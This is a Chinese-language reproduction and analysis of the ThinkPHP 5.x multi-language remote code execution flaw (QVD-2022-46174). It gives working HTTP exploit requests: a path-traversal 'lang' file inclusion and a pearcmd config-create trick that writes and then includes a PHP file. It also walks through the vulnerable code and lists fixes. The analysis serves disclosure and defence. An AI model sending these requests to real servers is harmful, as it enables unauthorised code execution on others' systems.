ThinkPHP 最新rce(QVD-2022-46174)复现和分析
字数 1010 2025-08-26 22:11:57
ThinkPHP RCE漏洞(QVD-2022-46174)分析与复现指南
漏洞概述
QVD-2022-46174是ThinkPHP框架中存在的一个远程代码执行漏洞,影响开启多语言模式的ThinkPHP应用。该漏洞源于语言包加载过程中的文件包含缺陷,允许攻击者通过精心构造的请求实现任意代码执行。
漏洞影响
- 受影响版本:主要影响ThinkPHP 5.x系列
- 利用条件:需要目标系统开启多语言模式
漏洞复现
环境准备
- 搭建基于ThinkPHP 5.x的Web应用
- 确保应用已开启多语言模式
利用方式一:直接文件包含
GET /index.php?lang=../../../../../../www/server/php/72/lib/php/hello.php HTTP/1.1
Host: target.com
其中/www/server/php/72/lib/php/hello.php为服务器上已知的PHP文件路径(如phpinfo文件)
利用方式二:通过pearcmd创建文件再包含
前提条件:
- PHP安装了pearcmd
- 开启了register_argc_argv选项
步骤1:创建文件
GET /index.php?lang=../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: target.com
步骤2:包含创建的文件
GET /index.php?lang=../../../../../../tmp/hello.php HTTP/1.1
Host: target.com
漏洞分析
漏洞触发流程
- 应用初始化时调用
/thinkphp/library/think/app.php中的initialize()函数 initialize()调用$this->loadLangPack()加载语言包loadLangPack()调用$this->lang->detect()检测语言设置
关键代码分析
语言检测函数 (/thinkphp/library/think/lang.php中的detect()):
public function detect()
{
// 从URL、Cookie或浏览器获取语言设置
$langSet = $this->request->get('lang') ?: $this->request->cookie('think_var');
// ...
return $langSet;
}
语言包加载函数 (loadLangPack()):
public function loadLangPack()
{
// ...
$this->request->setLangset($this->lang->range());
$this->lang->load(/* 构造的文件路径 */);
// ...
}
文件包含点 (/thinkphp/library/think/lang.php中的load()):
public function load($file)
{
// 直接包含传入的文件路径,无任何过滤
include $file;
// ...
}
修复方案
-
官方修复:执行
composer update topthink/framework更新框架版本- 修复后的版本会严格判断lang参数的合法性
-
临时缓解措施:
- 关闭多语言功能
- 在应用层对lang参数进行严格过滤
- 禁用register_argc_argv选项(防止pearcmd利用)
总结
QVD-2022-46174漏洞利用ThinkPHP多语言功能中的文件包含缺陷,通过精心构造的lang参数实现任意文件包含,最终导致远程代码执行。该漏洞的利用条件相对宽松,危害性较高,建议所有使用ThinkPHP框架的开发人员及时更新到安全版本。